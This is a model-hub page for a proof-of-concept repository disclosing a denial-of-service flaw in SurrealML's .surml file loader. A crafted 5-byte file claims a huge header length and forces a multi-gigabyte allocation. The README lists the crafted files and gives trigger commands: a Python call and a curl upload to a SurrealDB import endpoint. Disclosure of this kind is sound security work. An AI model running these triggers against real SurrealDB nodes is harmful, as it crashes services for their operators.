Downloads · 30 days
0
0xiviel/poc-surrealml-dos
poc-surrealml-dos is a machine learning model from 0xiviel. Use it for the machine learning task on the model card, and read the license before you ship it in a product.
SurrealML's SurMlFile::fromfile() at surmlfile.rs:108 reads a 4-byte header length from a .surml file and allocates that many bytes without any upper bound validation.
Downloads · 30 days
0
Access
Public
Updated Feb 6, 2026
Repo size
—
Likes
0
Public
Click a slice to open those files.
.py2.8 KB · 49%
From the Hugging Face model README
SurrealML's SurMlFile::from_file() at surml_file.rs:108 reads a 4-byte header length from a .surml file and allocates that many bytes without any upper bound validation.
A crafted 5-byte .surml file can trigger a 4 GB memory allocation, crashing any SurrealDB node that loads it.
malicious_dos.surml — 5-byte .surml file claiming a 4GB header (max u32)moderate_dos.surml — 5-byte .surml file claiming a 1GB headercreate_malicious_surml.py — Script to generate the crafted files# Generate the PoC files:
python3 create_malicious_surml.py
# Trigger via Python (requires surrealml):
python3 -c "from surrealml import SurMlFile; SurMlFile.from_file('malicious_dos.surml')"
# Trigger via SurrealDB API:
curl -X POST http://surrealdb:8000/ml/import \
-H "Authorization: Bearer <token>" \
--data-binary @malicious_dos.surml
These files only cause memory allocation. No code is executed.